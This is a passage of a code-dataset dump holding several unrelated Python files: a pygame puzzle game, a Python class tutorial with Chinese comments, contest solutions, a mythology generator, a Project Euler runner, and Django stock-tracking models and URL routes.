pygame.KEYUP and event.key == pygame.K_ESCAPE):\r\n\t\t\t\t\tpygame.quit()\r\n\t\t\t\t\tsys.exit()\r\n\t\t\t\telif event.type == pygame.KEYUP and event.key == pygame.K_r:\r\n\t\t\t\t\tflag = True\r\n\t\t\tif flag:\r\n\t\t\t\tbreak\r\n\t\t\tscreen.fill((135, 206, 235))\r\n\t\t\ttext0 = 'Final score: %s' % score\r\n\t\t\ttext1 = 'Use to restart the game.'\r\n\t\t\ttext = 'Use to quit the game.'\r\n\t\t\ty = 150\r\n\t\t\tfor idx, text in enumerate([text0, text1, text]):\r\n\t\t\t\ttext_render = font.render(text, 1, (85, 65, 0))\r\n\t\t\t\trect = text_render.get_rect()\r\n\t\t\t\tif idx == 0:\r\n\t\t\t\t\trect.left, rect.top = (212, y)\r\n\t\t\t\telif idx == 1:\r\n\t\t\t\t\trect.left, rect.top = (122.5, y)\r\n\t\t\t\telse:\r\n\t\t\t\t\trect.left, rect.top = (126.5, y)\r\n\t\t\t\ty += 100\r\n\t\t\t\tscreen.blit(text_render, rect)\r\n\t\t\tpygame.display.update()\r\n\t\tgame.reset()\r\n\r\n\r\nif __name__ == '__main__':\r\n\tmain()","sub_path":"Match_Puzzle _Game.py","file_name":"Match_Puzzle _Game.py","file_ext":"py","file_size_in_byte":1349,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"170525513","text":"class Person:\n \"类的文档声明\"\n name = \"\"\n addr = \"cd\"\n\n def __init__(self, name):\n self.name = name\n print(\"Person被构造了\")\n\n def eat(selfs):\n print(\"eat\")\n\n def sleep(self):\n print(\"sleep\")\n\n\nprint(\"Person.__dict__ :\", Person.__dict__) # 类的所有属性,由一个字典组成\nprint(\"Person.__name__ :\", Person.__name__) # 类名\nprint(\"Person.__doc__ :\", Person.__doc__) # 类的文档字符串\nprint(\"Person.__module__ :\", Person.__module__) # 类定义所在模块\nprint(\"Person.__bases__ :\", Person.__base__) # 类的所有父类构成元素(包含了一个由所有父类组成的元组)\n\n# 创建对象\np = Person(\"李四\")\nprint(p.name)\np.sleep()\n\n# 一旦对象创出来,可以自己增加或删除属性和方法\n# 若删除的是后天增加的属性和方法,就是删除该属性或方法;若删除的是从父类得到的属性或方法,那么仅仅是删除其值.\np.age = 12\np.hobby = 'fuck'\nprint(p.hobby)\n# 删除属性\ndel p.age\ndel p.name\n# print(p.age) 后天增加的,删除之后就没了\nprint(p.name)\n\n\n# 同理还可以增加方法\n\n\n# 继承的语法: class subClass (superClass,[…]):\n# 子类在构造时并不会自动调用父类的构造方法,如果需要,则应在子类的构造方法中显式的调用父类构造。\n# 在子类中调用父类方法时,需要通过父类名来调用\n# 如果多重继承中,多个父类有同名方法,则具体继承到哪一个取决于父类的继承顺序,继承声明中越靠前优先级越高\n# 在子类中如果不喜欢父类的方法,可以进行重写操作\n\nclass Teacher:\n name = \"\"\n\n def __init__(self, name):\n self.name = name\n\n def teach(self):\n print(self.name + \"讲课\")\n\n def run(self):\n print(\"teacher 跑步\")\n\n\nclass Coder:\n def code(self):\n print(\"写代码\")\n\n def run(self):\n print(\"运行代码\")\n\n\nclass JavaTeacher(Coder, Teacher):\n def __init__(self, name):\n Teacher.__init__(self, name)\n\n def debug(self):\n print(\"调试代码\")\n\n def code(self):\n print(\"边讲边写\")\n\n\njt = JavaTeacher(\"boy\")\njt.teach()\njt.code()\njt.debug()\njt.run()\n# 判断一个类是另一个类的子类或者子孙类\nprint(issubclass(JavaTeacher, Teacher))\n# 如果obj是Class类的实例对象或者是一个Class子类的实例对象则返回true\nprint(isinstance(jt, JavaTeacher))\n\n# 属性或方法名称如果以单下划线开头,则是保护成员,只能在类内部或子类内部访问\n# 属性或方法名称如果以双下划线开头,则是私有成员,只能在类的内部访问\n\n# 判断对象的类型\nprint(type(123))\n# 获得对象所有的属性和方法\nprint(dir(jt))\n\n\nclass Point:\n def __init__(self, x=0, y=0):\n self.x = x\n self.y = y\n\n def __del__(self):\n class_name = self.__class__.__name__\n print(class_name + \"销毁\")\n\n\npt1 = Point()\npt2 = pt1\npt3 = pt1\n# 打印对象的id\nprint(id(pt1), id(pt2), id(pt3))\ndel pt1\ndel pt2\ndel pt3\n","sub_path":"python/base/syntax/05_class.py","file_name":"05_class.py","file_ext":"py","file_size_in_byte":3055,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"77637673","text":"import os\n\ntarget = list([str(x) for x in range(10)])\ninf = open('input.in','r')\ninp = inf.read().split('\\n')\ninf.close()\noutf = open('output','w')\nT = int(inp.pop(0))\nfor i in range(T):\n N = int(inp.pop(0))\n ships = list()\n asleep = False\n for j in range(1,101):\n ships += list(str(j*N))\n ships = list(set(ships))\n if len(filter(lambda x:x not in ships, target))==0:\n outf.write('Case #%d: %d\\n'%(i+1, j*N))\n asleep = True\n break\n if not asleep:\n outf.write('Case #%d: INSOMNIA\\n'%(i+1))\noutf.close()\n","sub_path":"codes/CodeJamCrawler/16_0_1_neat/16_0_1_agkdc_A.py","file_name":"16_0_1_agkdc_A.py","file_ext":"py","file_size_in_byte":578,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"478227846","text":"from random import *\r\nfrom scriptos import * \r\n\r\n\r\n\r\ndef main():\r\n #Imports .txt files for the nouns and adjectives to determine god hood and stuff\r\n nouns = file_open(\"data/allNouns.txt\")\r\n adj = file_open(\"data/allAdj.txt\")\r\n pantheon = []\r\n timeline = creation_myth()\r\n user_input = \"\"\r\n\r\n print(\"Welcome to Mythos! Mythology generation at your fingertips!\")\r\n print(\"[g] - generate gods, [c] - generate creation myth, [e] - exit\")\r\n\r\n user_input = input(\"Enter in a command to get started: \")\r\n\r\n while(user_input != 'e'):\r\n\r\n if user_input == 'g':\r\n pantheon = []\r\n for i in range(5):\r\n pantheon.append(Character(gen_name(), gen_being(), randrange(0, 5999), choice(nouns), choice(adj), gen_power()))\r\n\r\n for i in pantheon:\r\n i.printGod()\r\n \r\n if user_input == 'c':\r\n timeline = \"\"\r\n timeline = creation_myth()\r\n print(timeline)\r\n\r\n user_input = input(\"Enter another input: \")\r\n\r\n\r\n\r\n\r\nif __name__ == \"__main__\":\r\n main()","sub_path":"Mythos/mythos.py","file_name":"mythos.py","file_ext":"py","file_size_in_byte":1082,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"600077367","text":"# -*- coding: utf-8 -*-\n\nimport argparse\nimport time\n\nfrom projecteuler import __version__\nfrom projecteuler import answers\nfrom projecteuler import results\n\n\ndef build_parser():\n \"\"\" Parser args \"\"\"\n parser = argparse.ArgumentParser()\n\n parser.add_argument('-p', '--problem', type=int, required=True,\n dest='problem', metavar='PROBLEM',\n help='Problem from projecteuler.net')\n\n parser.add_argument('-b', '--batch-mode', action='store_true',\n dest='batch', default=False,\n help='Batch mode')\n\n parser.add_argument('-v', '--version', action='version',\n version='%(prog)s ' + __version__)\n\n return parser\n\n\ndef _seconds_to_str(seconds):\n m, s = divmod(seconds, 60)\n h, m = divmod(m, 60)\n return \"%d:%02d:%02d\" % (h, m, s)\n\n\ndef exec_problem(problem):\n \"\"\" Launch problem, return result and time \"\"\"\n\n start_time = time.process_time()\n # start_time = datetime.now()\n\n r = results.launch(problem)\n # exec_problem\n # r = mod.result()\n\n tt = time.process_time() - start_time\n\n return r, _seconds_to_str(tt)\n\n\ndef print_result(problem, result, totaltime, expected):\n\n s = '{};{};{}'.format(problem, result, totaltime)\n\n if result:\n if expected:\n if result != expected:\n print('{};ERROR_EXPECTED:{}'.format(s, expected))\n else:\n print(s)\n else:\n print('{};ERROR_NO_ANSWER'.format(s))\n else:\n # no hay resultado\n print('{};ERROR_NO_PROBLEM_FOUND'.format(s))\n\n\ndef main():\n\n MAX_PROBLEM = 500\n\n parser = build_parser()\n options = parser.parse_args()\n\n number = options.problem\n\n if options.batch:\n print('PROBLEM;RESULT;TOTAL TIME')\n for n in range(number, MAX_PROBLEM):\n result, totaltime = exec_problem(n)\n # expected = solutions[n]\n expected = answers.solution(n)\n print_result(n, result, totaltime, expected)\n\n else:\n result, totaltime = exec_problem(number)\n expected = answers.solution(number)\n print_result(number, result, totaltime, expected)\n\n\nif __name__ == '__main__':\n main()\n","sub_path":"projecteuler/projecteuler.py","file_name":"projecteuler.py","file_ext":"py","file_size_in_byte":2244,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"370318744","text":"from django.db import models\nfrom django.utils import timezone\nfrom django.utils.text import slugify\n\n\nclass Ticker(models.Model):\n name = models.CharField(\n verbose_name=\"Ticker name\",\n max_length=5,\n primary_key=True,\n )\n\n def __str__(self):\n return self.name\n\n\nclass TickerPrice(models.Model):\n ticker = models.ForeignKey(\n Ticker,\n verbose_name=\"Ticker\",\n related_name=\"prices\",\n on_delete=models.CASCADE,\n )\n date = models.DateField(\n verbose_name=\"Date\",\n default=timezone.now,\n )\n\n open_price = models.DecimalField(\n verbose_name=\"Open\",\n max_digits=11,\n decimal_places=4,\n )\n high_price = models.DecimalField(\n verbose_name=\"High\",\n max_digits=11,\n decimal_places=4,\n )\n low_price = models.DecimalField(\n verbose_name=\"Low\",\n max_digits=11,\n decimal_places=4,\n )\n close_price = models.DecimalField(\n verbose_name=\"Close\",\n max_digits=11,\n decimal_places=4,\n )\n\n class Meta:\n ordering = ['-date']\n\n def __str__(self):\n return '{} {}'.format(self.ticker, self.date.strftime('%d.%m.%Y'))\n\n\nclass Insider(models.Model):\n name = models.CharField(\n verbose_name=\"Name\",\n max_length=128,\n )\n slug = models.SlugField(unique=True, max_length=140)\n\n def __str__(self):\n return self.name\n\n def generate_unique_slug(self):\n slug = slugify(self.name)\n gen_slug = slug\n num = 1\n while Insider.objects.filter(slug=gen_slug).exists():\n gen_slug = '{}-{}'.format(slug, num)\n num += 1\n return gen_slug\n\n def save(self, *args, **kwargs):\n if not self.slug:\n self.slug = self.generate_unique_slug()\n super(Insider, self).save(*args, **kwargs)\n\n\nclass Transaction(models.Model):\n insider = models.ForeignKey(\n Insider,\n verbose_name=\"Insider\",\n related_name=\"transactions\",\n on_delete=models.CASCADE,\n )\n ticker = models.ForeignKey(\n Ticker,\n verbose_name=\"Ticker\",\n related_name=\"transactions\",\n on_delete=models.CASCADE,\n )\n\n relation = models.CharField(\n verbose_name=\"Relation\",\n max_length=64,\n )\n last_date = models.DateField(\n verbose_name=\"Last Date\",\n default=timezone.now,\n )\n transaction_type = models.CharField(\n verbose_name=\"Transaction Type\",\n max_length=128,\n )\n\n owner_type = models.CharField(\n verbose_name=\"OwnerType\",\n max_length=32,\n )\n\n shares_traded = models.PositiveIntegerField(\n verbose_name=\"Shares Traded\",\n )\n last_price = models.DecimalField(\n verbose_name=\"Last Price\",\n max_digits=11,\n decimal_places=4,\n null=True,\n blank=True,\n )\n shares_held = models.PositiveIntegerField(\n verbose_name=\"Shares Held\",\n default=0,\n )\n\n def __str__(self):\n return '{} {} {}'.format(self.last_date, self.insider, self.transaction_type)\n","sub_path":"stock/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":3111,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"21395429","text":"from django.conf import settings\nfrom django.conf.urls import url\nfrom django.contrib import admin\nfrom django.template.context_processors import static\nfrom django.urls import path, include, re_path\n\nfrom . import views\nfrom django.conf import settings\nfrom django.conf.urls.static import static\n\nurlpatterns = [\n path('test/',views.responseTest),\n path('getPaperListByKey',views.getPaperListByKey),\n path('login',views.login),\n path('register',views.register),\n path('getPaperListByKeyword',views.getPaperListByKeyword),\n path('getPaperInfoByID',views.getPaperInfoByID),\n path('judgeRepetitiveUserName',views.judgeRepetitiveUserName),\n path('judgeRepetitiveEmail',views.judgeRepetitiveEmail),\n path('check_mail',views.check_mail),\n path('getPaperListByAid',views.getPaperListByAid),\n path('complexSearch',views.complexSearch),\n path('test/', views.responseTest),\n path('follow_author/', views.followAuthor),\n path('collect_paper/', views.collect_paper),\n path('check_user_info/', views.check_user_info),\n path('edit_user_info/', views.edit_user_info),\n path('hot_author/', views.hot_author),\n path('hot_paper/', views.hot_paper),\n path('hot_field/', views.hot_field),\n path('show_collected/', views.collected),\n path('cancel_collect/', views.cancel_collect)\n\n\n ] + static(settings.MEDIA_URL, document_root=settings.MEDIA_ROOT)","sub_path":"app01/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1404,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"622107155","text":"import math \n# tim tong uoc \ndef SumOfDivisor(n):\n t=0\n for i in range (1,int(math.sqrt(n))+1):\n if (n%i==0):\n t=t+i+n//i\n if (i==n//i):\n t=t-i\n return t-n\n# kiem tra so abudant\ndef CheckAbudant(n):\n if (n